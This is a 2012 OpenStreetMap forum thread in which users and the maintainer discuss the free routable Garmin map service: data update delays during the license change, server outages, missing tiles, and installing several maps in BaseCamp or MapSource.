Groetjes, KarelEdited by Lambertus: Karel, this is an international forum please continue the discussion in English, thanks!. To answer your question: the custom map server -which is located in Germany- is currently down. I hope it will be serviced by the administrator on Monday.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.05.2012 13:28 · [flux]
OSMNZ wrote:
Hi
When is the next a planned update from OSM?
The dataset seems to be from 01-APR-2012
I am keen to compile some new maps on my Garmin, after having made many edits (inserts) on OSM.
Cheers
Usually I'm trying to update every week or so, but OSM is moving to new license and this might cause a temporary reduction in map quality. I'm also working on a new version of the website with some new features and a second map specifically for cyclists. These two topics have caused the lack of updates in the last month.
For everyone out there who is concerned about the lack of updates (I've received quite a lot of emails on this topic lately): I have no intention to stop providing the maps.
A newer version of the map is available for the new version of the website but the custom map server is currently down so I won't provide a link yet. The custom map server will be serviced on Monday, I hope.
Housekeeping note: moved-off topic discussion to it's own topic.
Update: server downtime is caused by complete powerloss at the datacenter.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 06.05.2012 16:00 · [flux]
ligfietser wrote:
Seldom, you can check the license change progress out on http://blog.osmfoundation.org/
You can test an openfietsmap for Utah here (if this server is not down like now).Wow!, can't wait 'til it gets up. Thanks, Lambertus and Ligfietser.:D
Edit Lambertus: fix (for Dutch folks) embarrassing typo ;-)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.05.2012 20:26 · [flux]
Seldom wrote:
Edit Lambertus: fix (for Dutch folks) embarrassing typo ;-)
Did he write LIEgfietser? ;-)
In English to lie or to lie is the same but with different meanings, in Dutch Lieg = lie (not to tell the thruth) and lig = lie (lay down, recumbent).
Fietser comes from fiets (bicycle) which seems derived from the German Vize Pferd (vice horse, the first bicycles were seen as replacement for horse) 😉 - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.05.2012 21:37 · [flux]
Uhuh 🤣
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 07.05.2012 01:16 · [flux]
Too bad you guys don't have any embarassed icons, or I'd use one.:/ Guess my Gymnasiumdeutsch doesn't translate too well into Dutch. To the east of you guys lieg means to lie, as in horizontal.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.05.2012 08:54 · [flux]
No worries Seldom, we know when someone blushes, with or without the correct smiley 😛
BTW. Power is back and the website is accessible again.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.05.2012 09:02 · [flux]
Ah I see you added a donation button on the new site!
So everybody who appreciates this service is welcome to send tips! 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.05.2012 11:13 · [flux]
Yes, I used a rainy Saturday afternoon to figure out how PayPal works and create an account. I had nothing better to do... 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 07.05.2012 16:23 · [flux]
English speaker needs help. 🙁
I just downloaded Openfietsmap Lite for Utah, USA.
I can't see any contours in BaseCamp.
I can't figure out how to translate the Dutch readme file.
I notice the TYP file is named ofmlite.TYP. I've normally seen this as a 5 digit file name.
Do I need to install something with MapSetToolkit or JavawaGMTK?
Thanks. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.05.2012 18:14 · [flux]
Contours are not included.
You can't download the mapsource installer openfietsmap_lite_mapsource.exe to install the map?
I don't know where you have found a Dutch readme file?
Typ file with names should work (as long as it doesn't exceed 8 characters or digits).You can find more about the instructions how to use the map at http://www.openfietsmap.nl/tips-tricks
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 07.05.2012 20:21 · [flux]
If contours aren't included, its showing correctly.
The installer worked fine.
The Dutch ReadMe was from an old download I left on my computer.
It showed up in a search and I thought it was with the Lite download. Sorry for the confusion.
Too bad about the contours. I was hoping you guys had figured a way to blend in SRTM on demand. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.05.2012 20:22 · [flux]
Seldom wrote:
English speaker needs help. 🙁
I just downloaded Openfietsmap Lite for Utah, USA.
I can't see any contours in BaseCamp.Contours are not included (yet).
Don't take the (yet) as: that I will add it later for sure. I'm not.
I will take it under consideration only
1) if there is a (scriptable) method of retrieving and splitting and handling the whole planet and
2) if I can find the storage space to host it. This is probably not a real problem.I can't figure out how to translate the Dutch readme file.
Where did you find the Dutch readme file?
I notice the TYP file is named ofmlite.TYP. I've normally seen this as a 5 digit file name.
Correct. I think it will be better to move to a numerical one.
Do I need to install something with MapSetToolkit or JavawaGMTK?
Thanks.You shouldn't if you previously had not needed it for the generic routable map. Why do you ask?
/me just back from an exhausting MTB training trip 🤔
Edit: Ah, we've got crossing posts.
Seldom wrote:
Too bad about the contours. I was hoping you guys had figured a way to blend in SRTM on demand.
I'm hoping someone will find figure it out too 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.05.2012 22:07 · [flux]
Lambertus, maybe take the FID for the name of the typ file: 20011.typ
About contours: Thorsten Kukuk has made a set of USA contours, see http://tk-osm.thkukuk.de
You can merge them with my osm combi tool (http://www.openfietsmap.nl/downloads/osm_combi) somehow
but I haven't adapted my scripts to the new openfietsmap world wide lite version yet (which means that it will omit the 6344*.img index files automatically, so you have to do it yourself). - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.05.2012 22:40 · [flux]
ligfietser wrote:
Lambertus, maybe take the FID for the name of the typ file: 20011.typ
I will.
About contours: Thorsten Kukuk has made a set of USA contours, see http://tk-osm.thkukuk.de
You can merge them with my osm combi tool (http://www.openfietsmap.nl/downloads/osm_combi) somehowThat might work on a linux server, assuming that gmt.exe will run on Mono, but it requires a complete rewrite of the script.
but I haven't adapted my scripts to the new openfietsmap world wide lite version yet (which means that it will omit the 6344*.img index files automatically, so you have to do it yourself).
This will be the least problem...
Anyway, I'm parking this (worldwide contours) for later.
I'm currently working on fixing bugs in the new toolchain and adding documentation to the OSM wiki.
- Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 09.05.2012 07:32 · [flux]
Lambertus wrote:
That might work on a linux server, assuming that gmt.exe will run on Mono, but it requires a complete rewrite of the script.
There is a Linux version of gmt available, no need for mono.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.05.2012 14:50 · [flux]
kukuk wrote:
There is a Linux version of gmt available, no need for mono.
Oh, cool 🙂
Still, as it stands right now, contours aren't high on my priority list.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.05.2012 12:55 · [flux]
I have a request for Mac OSX users: can you please test a gmapi version from the new website and report if you encounter problems or not? Thanks 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 14.05.2012 21:17 · [flux]
No problems, only three remarks:
1. The name of the download file: RoadTrip is obsolete (like I said before)
2. The name of the map: "Generic routable" isn't very descriptive...
3. The test can be done on Windows too; if it works there, it will work on the Mac. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.05.2012 19:51 · [flux]
JaVaWa wrote:
No problems, only three remarks:
1. The name of the download file: RoadTrip is obsolete (like I said before)Indeed you have and I forgot, sorry about that. "Roadtrip" is now everywhere updated to "BaseCamp/RoadTrip" (as has MapSource) and the filename is changed to _macosx.zip.
2. The name of the map: "Generic routable" isn't very descriptive...
Ok, but then the map is a generic one. "Routable world" as the original map is named isn't really suitable anymore as the Openfietsmap lite is also world routable...
3. The test can be done on Windows too; if it works there, it will work on the Mac.
Please forgive my glaring ignorance, but I can't find anything about how to test a gmapi file on Windows (or Linux).
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 15.05.2012 20:27 · [flux]
2. At least you could put "OSM" in the name 😉 Since the name of the map is defined in the TDB file, it should be possible to define it at generation time so that it reflects the map selection the user made... It would be a lot easier for users that want to use several maps.
3. BaseCamp and recent versions of MapSource support the new gmap format as well. You have to put the gmap folder inside the gmapi folder (it's not a file, although it appears to be so for Mac users) into the folder C:\Users\{username}\AppData\Roaming\GARMIN\Maps (Vista/W7); then BC and MS are able to use the map. You could also install the gmap(i) with JaVaWa GMTK.
- Re: Worldwide routable Garmin maps: URL REMOVED · jonathanpatt (Gast) · 15.05.2012 20:59 · [flux]
Lambertus wrote:
I have a request for Mac OSX users: can you please test a gmapi version from the new website and report if you encounter problems or not? Thanks 🙂
I'm able to load the .gmapi file into Garmin MapManager, but when I connect my Garmin Montana and open Garmin MapInstall to load it onto the GPS unit, MapInstall crashes. When I uninstall the .gmapi from the new site, MapInstall launches correctly again. When I install a .gmapi from the old site, no crash occurs.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 15.05.2012 21:10 · [flux]
Which version of MapInstall do you use? Did you choose a predefined country, or a custom selection? Maybe there is a conflict with another installed map; you can check that with JaVaWa GMTK: http://www.javawa.nl/gmtk_en.html
- Re: Worldwide routable Garmin maps: URL REMOVED · jonathanpatt (Gast) · 15.05.2012 21:28 · [flux]
I'm using MapInstall 4.0.0, the latest version. I chose a custom selection on both the old and new sites: a single tile, MX-Agua Prieta. JaVaWa GMTK says:
File␣error: Faraday:Users:jonathan:Library:Application␣Support:Garmin:Maps:Generic␣routable.gmap:OSMTiles:63240000 Errors␣recoverable: No
Edit: downloading generic_tiles.zip and converting with JaVaWa MapConverter results in a .gmap file that I can install without causing any crashes or errors.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 15.05.2012 21:40 · [flux]
I checked myself: the MDR folder was created in the wrong place and with a wrong name; now it doesn't match the entry in the file info.xml anymore. This seems not to happen with predifined map sets.
Some work to do for Lambertus...Edit: I've got a command line Linux version of JaVaWa MapConverter...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.05.2012 21:55 · [flux]
JaVaWa wrote:
2. At least you could put "OSM" in the name 😉 Since the name of the map is defined in the TDB file, it should be possible to define it at generation time so that it reflects the map selection the user made... It would be a lot easier for users that want to use several maps.
Yes, I could add OSM in the name somewhere, however "OpenFietsmap Lite" doesn't have OSM in it either...
I can also make the name user configurable, but why not make more things configurable , like the product id or series id? I would like to, eventually, if this is possible with precompiled tiles. But it would be yet another project and to be honest I'm currently not looking forward to implementing it...lot's of points of failures to handle.
3. BaseCamp and recent versions of MapSource support the new gmap format as well. You have to put the gmap folder inside the gmapi folder (it's not a file, although it appears to be so for Mac users) into the folder C:\Users\{username}\AppData\Roaming\GARMIN\Maps (Vista/W7); then BC and MS are able to use the map. You could also install the gmap(i) with JaVaWa GMTK.
I installed BaseCamp a few days ago on a Windows VM and it didn't seem to recognise the gmapi folder as something it would happily read so I didn't really try any of the files in it's subdirectories. I'll try again.
JaVaWa wrote:
Edit: I've got a command line Linux version of JaVaWa MapConverter...
Interesting 🙂 Terms of use are...?
Edit: Ah, found the 'voorwaarden' button on your website. I don't see any problems for using MapConverter for the maps, correct?
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 15.05.2012 22:18 · [flux]
Lambertus wrote:
Yes, I could add OSM in the name somewhere, however "OpenFietsmap Lite" doesn't have OSM in it either...
"OpenFietsmap" is a established name now (at least in The Netherlands...), whereas "Generic routable" is, well, very generic...
Lambertus wrote:
I can also make the name user configurable, but why not make more things configurable , like the product id or series id? I would like to, eventually, if this is possible with precompiled tiles. But it would be yet another project and to be honest I'm currently not looking forward to implementing it...lot's of points of failures to handle.
Changing the name and ID's isn't difficult at all. The source code of mkgmap is a good starting point; only a bit overwhelming maybe...
The only thing you have to change is the TDB file; I can tell you exactly how to do it. Send me an email, it's easier for me to explain it in Dutch.Lambertus wrote:
Interresting 🙂 Terms of use are...?
It's free to use, but not Open Source. You can find it here: http://www.javawa.nl/advanced.html
- Re: Worldwide routable Garmin maps: URL REMOVED · Boswachter (Gast) · 16.05.2012 16:47 · [flux]
Lambertus,
I got a sneak-preview of the OFM-lite by the courtesy of Ligfietser.
It looks good, but there is a strange thing happening in the city-center of Tallinn and Riga, but I'm afraid at more cities.In Mapsource its is fine.
But on my Map 62 it's awfull. Is it a forest there?:D
Outside the city-center it is in mapsource OK.
But on the 62:
I transferred the map from Mapsource to the 62, but the result is the same.
I think I know what the problem is, But I'm to ignorant having a solution.
Looking in Potlatch I see in the center buildings, but without a tag Residential area
Outside the center there are Residential areas.It looks that in the .IMGfile all areas without a tag become dark green. Outside the city it is not a problem, but in a citycenter it looks a bit stupid.
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 19.05.2012 10:13 · [flux]
Tried the new site with a map of Thailand. It correctly shows that I will get 8 tiles, but when I download the package 3 of them are missing.
Also, the server doesn't remember that the mapset has already been compiled and so doesn't offer a ready-made download.
- Re: Worldwide routable Garmin maps: URL REMOVED · eMBe (Gast) · 19.05.2012 11:01 · [flux]
Hi,
I'm just started with OSM und Garmin. I want to have the maps of Germany and Mallorca in Basecamp.
So I downloaded both one of a time.First I did not know about MapManager, so I just copied the unzipped "Roadtrip" folder to recources, which worked fine for Mallorca. With Germany it did not. I found out, the two maps have the same values in info.xml, only the names differ between "OSM World Routable (01-04-2012)" and "OSM World Routable".
I googled and found MapManager and deleted the maps I manually copied to the program dir.
The problem is somewhat the same. Whatever map I install first, it is there. The second one is installed fine - MM says - but never shows up in MM itself. If I delete the map and try the other one first, this one is there, the other one not.Is there any way to install two downloaded maps independently?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 19.05.2012 11:40 · [flux]
Install one, then change the FID with MapSetToolkit or Javawa, then install the next.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 20.05.2012 01:37 · [flux]
I see that you are a Mac user. Although it works, copying maps into the application bundle of BaseCamp is a bad idea. As soon as you install an update of BaseCamp, you will loose your maps this way... MapManager puts the maps in the place where they belong (in {username}/Library/Application Support/Garmin/Maps to be precise).
Chainging the FID is the way to go; not with MapSetToolKit (because it's a Windows program) but with JaVaWa GMTK ("Javawa" isn't very descriptive, since I'm offering some 15 different applications)
http://www.javawa.nl/gmtk_en.html - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.05.2012 09:48 · [flux]
Boswachter wrote:
I got a sneak-preview of the OFM-lite by the courtesy of Ligfietser.
It looks good, but there is a strange thing happening in the city-center of Tallinn and Riga, but I'm afraid at more cities.[..]
I think I know what the problem is, But I'm to ignorant having a solution.Looking in Potlatch I see in the center buildings, but without a tag Residential area
Outside the center there are Residential areas.It looks that in the .IMGfile all areas without a tag become dark green. Outside the city it is not a problem, but in a citycenter it looks a bit stupid.
I think this has something to do with the choice of default background polygon on the GPS (perhaps TYP also) and the fact that these cities have large areas without landuse polygons in the OSM data. The best way to solve this (not only for the Garmin maps) is to solve this in the OSM data. Perhaps the rendering of the Garmin maps will inspire OSM users to add these landuse areas.
The other (quick) solution is to change the OFM_lite TYP file so that is uses a more neutral background polygon.
Beddhist wrote:
Tried the new site with a map of Thailand. It correctly shows that I will get 8 tiles, but when I download the package 3 of them are missing.
Also, the server doesn't remember that the mapset has already been compiled and so doesn't offer a ready-made download.
Just tried it: selected Thailand from the drop down list, entered my email address, and downloaded the map. The map contains 8 tiles and when I select Thailand again from the drop down list I get the 'download this map now!' link.
So, sorry, but I can't reproduce your problem.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.05.2012 11:22 · [flux]
Thanks for checking it out. As you can see, the tile set is dated today. This is the link I was sent: http://osm.pleiades.uni-wuppertal.de/ga … 2e56cbccfa
Perhaps it was a temporary glitch, just like the notification email I just received for your post (bad request).
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.05.2012 11:40 · [flux]
Beddhist wrote:
Thanks for checking it out. As you can see, the tile set is dated today. This is the link I was sent: http://osm.pleiades.uni-wuppertal.de/ga … 2e56cbccfa
Perhaps it was a temporary glitch, just like the notification email I just received for your post (bad request).
This is what I got: http://osm.pleiades.uni-wuppertal.de/ga … c6ee3567e/
The tiles.txt is different between our requests.
You got a '400 bad request' html error before the actual request? Afaik (and I just checked) this is not an error code from any of my scripts, so there probably was a network hickup.
Oh sorry, now I understand. You have email notifications enabled on this forum topic. Well, this I can explain 🙂 I posted the response to you post in a separate post at first, but then I merged the two posts and deleted the then duplicate post. You then clicked the link in the email and the forum software replied 400-bad request, which is correct because the post does not exist anymore. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.05.2012 11:43 · [flux]
The tiles.txt is different between our requests.
I know, I was missing 3 tiles.
You got a '400 bad request' html error before the actual request? Afaik (and I just checked) this is not an error code from any of my scripts, so there probably was a network hickup.
No, that was for the forum notification, totally unrelated.
- Re: Worldwide routable Garmin maps: URL REMOVED · Boswachter (Gast) · 21.05.2012 18:22 · [flux]
Lambertus wrote:
The other (quick) solution is to change the OFM_lite TYP file so that is uses a more neutral background polygon.
Being a novice in the OSM-world I don't understand how to do that. So for the moment I have to live with it.
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · eMBe (Gast) · 24.05.2012 13:08 · [flux]
JaVaWa wrote:
I see that you are a Mac user.
Yes, I am.
Although it works, copying maps into the application bundle of BaseCamp is a bad idea. As soon as you install an update of BaseCamp, you will loose your maps this way...
This was only a first try, while I did not know about MapManager. I reversed all the changes I made.
MapManager puts the maps in the place where they belong (in {username}/Library/Application Support/Garmin/Maps to be precise).
Thank you. I found out about this meanwhile myself.
Chainging the FID is the way to go; not with MapSetToolKit (because it's a Windows program) but with JaVaWa GMTK ("Javawa" isn't very descriptive, since I'm offering some 15 different applications)
http://www.javawa.nl/gmtk_en.htmlThank you again. I looked up the website of JaVaWa, but was confused about the different tools, and what to use and if there was the right tool available for OS X.
I will give GMTK a try. - Re: Worldwide routable Garmin maps: URL REMOVED · sabri66 (Gast) · 28.05.2012 21:00 · [flux]
Hi evry one, the new generic windows seems to have a problem:/, why? I explain: from first april til now (the map is dated from 23/05) I ve added a lot of things to my area (blida, Algeria) but still have the same map as first april in mapsource, so the last download I ve just loooked to the map in mapsource and have nt transfer it to my garmin.
The question is: is there a load on the new server so africa hvent been updated?
Lambertus dont forget africa please!(joke) - Re: Worldwide routable Garmin maps: URL REMOVED · OSMNZ (Gast) · 29.05.2012 05:45 · [flux]
Hi
Like sabri66, I have made many contributions to OSM in Africa in since 01 April 2012.
These are not present in the generic_windows.exe I have downloaded and installed today.
I can see the additions in OSM.
Cheers
- Re: Worldwide routable Garmin maps: URL REMOVED · Dogran999 (Gast) · 29.05.2012 08:11 · [flux]
Hi
Does anyone know when OSM will start letting sites download data again? I only see large data dumps up to 1st April on the net. Frustraiting as all the Updates I have uploaded are no longer accessable on my Garmin which kind of defeats the point of uploading them in the first place.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.05.2012 09:18 · [flux]
sabri66 and OSMNZ, thanks for your reports. I hadn't noticed it but, like the full planet dump, the daily changesets haven't been updating since April 1st also. There is only a full planet dump available from May 10th, I could download that and run an update...
Unfortunately I have no idea if there are more up to date sources.
Dogran999, this is sure to be a temporary situation. Your work will be useful at some point, only not right now.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.05.2012 11:15 · [flux]
Lambertus wrote:
I think this has something to do with the choice of default background polygon on the GPS (perhaps TYP also) and the fact that these cities have large areas without landuse polygons in the OSM data. The best way to solve this (not only for the Garmin maps) is to solve this in the OSM data. Perhaps the rendering of the Garmin maps will inspire OSM users to add these landuse areas.
The other (quick) solution is to change the OFM_lite TYP file so that is uses a more neutral background polygon.
I agree with Lambertus it could be the settings in your GPS. The default background of the OFM lite is empty so it shows the default background of the GPS.
Maybe Peter de Boswachters GPS has a topographic contour line / DEM basemap/ shaded relief background map selected so it displays the low areas with a green background and higher elevations brown?
If that is the case, try to turn Shaded Relief/DEM map on "don't show" or automatic instead of "show if available" or put the DEM basemap off. - Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 29.05.2012 12:44 · [flux]
Dogran999 wrote:
Does anyone know when OSM will start letting sites download data again? I only see large data dumps up to 1st April on the net. Frustraiting as all the Updates I have uploaded are no longer accessable on my Garmin which kind of defeats the point of uploading them in the first place.
You can download data. I update my local planet file at least once a day with all changesets for my maps. They are only not in the old directory anymore, but in a new path. And if the license bot did run, the directories will change again.
I'm using "osmosis --read-replication-interval" for this task.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · scubatinoo (Gast) · 04.06.2012 09:41 · [flux]
Hi Folks
First of all i would like to thank Lambertus for this outstanding service! I've discovered his website while searching for Maps of Namibia... I was travelling around this beautiful country this March, with a Map of Namibia on my Garmin 60CSx. I was able to find all my hotels and Lodges in MapSource and even the routing worked perfect... I'm so happy with this service that i tried to do the same with a map of Iceland. Now i have the Map installed in MapSource - but i've lost my Namibia Map too, because the both maps have the same name "OSM World Routable" followed by the date... Same if i re-install my Namibia Map - i'm loosing the Iceland Map. I'm wondering now if it's possible to install more then one Map from Lambertus in MapSource. Sorry but i did not read all of the 59 pages of this forum thread and i don't know much about creating maps for garmin devices... But i'm happy with links or howto's 🙂thanks and stay tuned, tinoo
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.06.2012 09:58 · [flux]
Scubatinoo, see the FAQ here.
- Re: Worldwide routable Garmin maps: URL REMOVED · scubatinoo (Gast) · 04.06.2012 10:29 · [flux]
Lambertus, exactly what i'm looking for! Thanks a lot!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.06.2012 11:43 · [flux]
Status: Working on an update. Will take a while though... downloading 21 GB and then applying some 30.000 diffs 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · Dogran999 (Gast) · 04.06.2012 14:32 · [flux]
Lambertus wrote:
Status: Working on an update. Will take a while though... downloading 21 GB and then applying some 30.000 diffs 🤔
Lambertus does this mean the site will be updated?
PS: I appreciate your hard work in making the OSM data easily available to the general GARMIN user community. Great presentation through the clickable world map too.
C
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.06.2012 17:25 · [flux]
Dogran999 wrote:
Lambertus wrote:
Status: Working on an update. Will take a while though... downloading 21 GB and then applying some 30.000 diffs 🤔
Lambertus does this mean the site will be updated?
PS: I appreciate your hard work in making the OSM data easily available to the general GARMIN user community. Great presentation through the clickable world map too.
C
Thanks 🙂
Yes, an update is underway. I just found another tool: osmupdate, which is able to update a planet using the redaction period change files. I couldn't find out how to do this using Osmosis, but this new tool did it just fine. Update is published only on the new site.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 04.06.2012 19:00 · [flux]
Thank you very much, Lambertus.
Does that mean that the 'old' site will no longer be updated and go away soon?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.06.2012 20:22 · [flux]
Yes 🙂
Any problems with that? 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · jonathanpatt (Gast) · 04.06.2012 23:01 · [flux]
Hey, I don't know if the data update is complete, but I noticed a new map version date on the site so I requested a map for my area (SE corner of Arizona, bootheel of New Mexico) and it seems to be missing… well… almost all detail. In my immediate area there are only tiny fragments of roads occasionally remaining. I can't imagine it's a licensing issue, because I know for a fact that some of the roads were created originally by me from scratch and I agreed to the updated licensing terms a year ago or more, but they're nowhere to be seen in the generated Garmin map anymore.
Aside from that, I also wanted to thank you for offering this service. It's really great to be able to easily use OSM data on my GPS unit, as there is literally no other map that's remotely accurate for my area. I've been showing the resulting map to some of my hiking companions and they've also been appreciative of how nice it is to have a GPS map that shows roads and trails where they actually are. Garmin's official and expensive map, which I bought, is so inaccurate in comparison that it's sad.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.06.2012 08:23 · [flux]
Well... uhm... yes .... I guess something went wrong 🙄
Investigating...
Edit: The updated planet file is larger then the planet from April 1st, but the initial split resulted in only 94 tiles when it should be around ~1500.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 05.06.2012 08:31 · [flux]
Lambertus wrote:
Any problems with that? 😉
Not at all, but I thought that the new site will use the old address, so the links all over the net won't be outdated.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.06.2012 08:53 · [flux]
Correct: the old page will be removed and the new one renamed to the old.
- Re: Worldwide routable Garmin maps: URL REMOVED · Dogran999 (Gast) · 05.06.2012 10:10 · [flux]
Lambertus
For info, I have just tried downloading the PK-Kerachi Map (http://osm.pleiades.uni-wuppertal.de/ga … 240120.img) from the new site and once loaded on my GARMIN it looks to be an OSM delta with no coast.
Regards
C
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.06.2012 12:34 · [flux]
Yup, the current map on the new page is FUBAR. The website is now reset to the previous version.
- Re: Worldwide routable Garmin maps: URL REMOVED · chris66 (Gast) · 06.06.2012 07:19 · [flux]
Hi,
I downloaded a map (gmapsupp.img) for Germany, including the Mapnik-Typ File but I see no
effect on my GPS device. So the map looks the same as w/o Typfile.Chris
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.06.2012 08:16 · [flux]
Thanks for the report Chris, will look into that.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.06.2012 09:56 · [flux]
Bah, I'm having a streak of bad luck 🙁
First the problems not being able to maintain an up-to-date local OSM planet copy, now somehow the pre-rendering result of a new update has vanished into a black hole while being moved to the public website. No sign of wat went wrong, just that everything is gone, lost, foetsie, disappeared, vaporized etc. No trace of ~8 GB data to be found anywhere.
- Re: Worldwide routable Garmin maps: URL REMOVED · scubatinoo (Gast) · 11.06.2012 11:01 · [flux]
Don't worry, this is just a preview of what happens on 21st of december 2012 with the real planet... 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.06.2012 11:43 · [flux]
Perhaps. Unlike a possible end of the earth I can simple start a new update of the map, much the same way the Mayans started a new calendar when their old one ended. 😉
I've restarted the update which, if it finishes successfully, will have used the data from the last available planet of May 8th unlike all previous updates since April 1st which used the data from April 1st. After the update is finished I'll proceed with my quest in trying to maintain a locally updated version of the OSM planet.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 11.06.2012 11:49 · [flux]
Good luck and thanks for all your efforts!
- Re: Worldwide routable Garmin maps: URL REMOVED · KoRoWa (Gast) · 11.06.2012 21:53 · [flux]
Hi Lambertus,
indeed a very easy way of obtaining great routable maps for Garmin. Thanks for the effort.
One question/remark: What rules are you using for mkgmap? I ask because most towns / villages do not seem to be rendered with a special polygon for residential areas.
Many thanks for the nice work.
KoRoWa - Re: Worldwide routable Garmin maps: URL REMOVED · extremecarver (Gast) · 12.06.2012 07:45 · [flux]
scubatinoo wrote:
Don't worry, this is just a preview of what happens on 21st of december 2012 with the real planet... 😄
Huh, you really got supernatural powers. How else could you know the exact date of license change 😛
- Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 17.06.2012 15:54 · [flux]
Hello,
Is this new version of your site stripping out data out of the maps?
I have several trails that I added to the OSM before your last published date (11 june) and they dont show on the map. - Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 17.06.2012 17:53 · [flux]
Zemartelo wrote:
Hello,
Is this new version of your site stripping out data out of the maps?
I have several trails that I added to the OSM before your last published date (11 june) and they dont show on the map.Did you accept the license change?
- Re: Worldwide routable Garmin maps: URL REMOVED · jonathanpatt (Gast) · 17.06.2012 17:57 · [flux]
Zemartelo wrote:
Hello,
Is this new version of your site stripping out data out of the maps?
I have several trails that I added to the OSM before your last published date (11 june) and they dont show on the map.While Lambertus released a new map update June 11, the data is from May 8. So if your edits were after May 8 they won't show yet.
- Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 18.06.2012 01:05 · [flux]
Thanks for the info Jonathanpatt.
Any idea when more recent maps will be available?
- Re: Worldwide routable Garmin maps: URL REMOVED · MTSRY1968 (Gast) · 18.06.2012 04:49 · [flux]
Dear Lambertus,
First of all a well earned 'Thanks a lot' and if I read this forum not only from my side.
As the summer holidays are nearing, an update of my GPS maps is on my to do list.
Using the same procedure as always i.e. downloading the tiles (generic_tiles.zip) for some countries and combining them with GMapTool, gives me now a 'hole' for Paris.
It seems that for one or another reason tiles FR_Paris (63241924) and FR_Creteil (63242648) are left out, even if I use generic_windows.exe as a test.
Any idea?Thanks in advance.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.06.2012 09:43 · [flux]
Thanks 🙂
A new update is available using an updated planet from June 15th. (the openfietsmap_lite map is still updating but should become available somewhere today)
Yes, I finally managed to tease out which of the Osmosis' gazillion options I needed to maintain a locally updated planet using the redaction changesets. I also tried the osmupdate tool, but somehow Splitter doesn't like the resulting planet file.
I just requested the whole of France and will see if I can reproduce the missing tile problem (I guess this is a problem on your side, caching perhaps, and not of the server).
- Re: Worldwide routable Garmin maps: URL REMOVED · 32110 (Gast) · 18.06.2012 10:31 · [flux]
Lambertus - Have just tried to download modified UK map selection from the new update but there does not seem to be a way to request the download. The previous area to enter ones email address seems to be missing. I know you don't like it, but I'm using IE8 which is slow but normally works.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.06.2012 10:51 · [flux]
Ok, this is because I added some console.log statements to the JavaScript code to help in debugging, but IE doesn't declare a 'console' object when the 'Developer Tools' aren't active and thus stops Javascript execution (one of those irritating things about IE), ofcourse Firefox and Chrome don't have any problems with that...
Anyway, the statements are disabled so now you should see the email box or download link (tested in IE9 which is much quicker in Javascript, so you should consider upgrading IE8 to IE9).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.06.2012 11:00 · [flux]
